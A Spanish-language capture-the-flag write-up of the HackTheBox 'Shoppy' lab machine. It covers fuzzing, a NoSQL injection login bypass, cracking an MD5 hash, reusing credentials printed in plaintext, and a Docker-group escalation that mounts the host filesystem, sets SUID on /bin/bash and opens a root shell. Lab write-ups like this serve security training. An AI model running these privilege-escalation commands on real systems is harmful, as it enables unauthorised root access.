HackTheBox - Shoppy
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: NoSQL Injection, Cracking Password, Information Leakage, Docker Abusing
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
c. La página web no tiene información relevante, por lo que haremos un fuzzing de directorios y de subdominios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ gobuster dir -u http://shoppy.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt
**Output**
```bash
/ADMIN (Status: 302) [Size: 28] [--> /login]
/Admin (Status: 302) [Size: 28] [--> /login]
/Login (Status: 200) [Size: 1074]
/admin (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/exports (Status: 301) [Size: 181] [--> /exports/]
/favicon.ico (Status: 200) [Size: 213054]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/images (Status: 301) [Size: 179] [--> /images/]
/js (Status: 301) [Size: 171] [--> /js/]
/login (Status: 200) [Size: 1074]
❯ wfuzz -c -t 100 --hc=404 --hh=169 -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.shoppy.htb" http://shoppy.htb/
000047340: 200 0 L 141 W 3122 Ch "mattermost"
El panel de login es vulnerable a inyección No SQL
Una vez en el sistema, podemos buscar usuario en el sistema, aquí también existe una inyección NOSQL y podremos descargar un fichero en el que se representará la información de todos los usuarios
d. La clave que podemos crackear es la del usuario josh
1
2
3
❯ dcode 6ebcea65320589ca4f2f1ce039975995
<SNIP>
[+] Cracked MD5 Hash : remembermethisway
Este usuario y contraseña son válidos para
mattermost.shoppy.htb
, aquí veremos credenciales válidas para SSH
Escalada de Privilegios 💹
a. Listamos nuestro privilegios a nivel de sudoers
1
2
3
4
jaeger@shoppy:/home/deploy$ sudo -l
[sudo] password for jaeger: Sh0ppyBest@pp!
(deploy) /home/deploy/password-manager
Si le hacemos un cat a este binario, podremos ver la contraseña
1 2 3 4
jaeger@shoppy:/home/deploy$ cat password-manager <SNIP> password: Sample <SNIP>
b. Ahora tendremos credenciales válidas para el usuario deploy
1
2
3
4
5
6
7
8
9
10
11
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
jaeger@shoppy:/home/deploy$ su deploy
Password: Deploying@pp!
$ bash
deploy@shoppy:~$
c. Vemos los grupos de los que somos miembros
1
2
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
Ejecutamos un contenedor con una montura el sistema host en el directorio
/mnt
del contenedor1 2 3 4 5 6
deploy@shoppy:~$ docker run -v /:/mnt/ --rm -it alpine chroot /mnt sh # chmod +s /bin/bash # exit deploy@shoppy:~$ bash -p bash-5.1# whoami root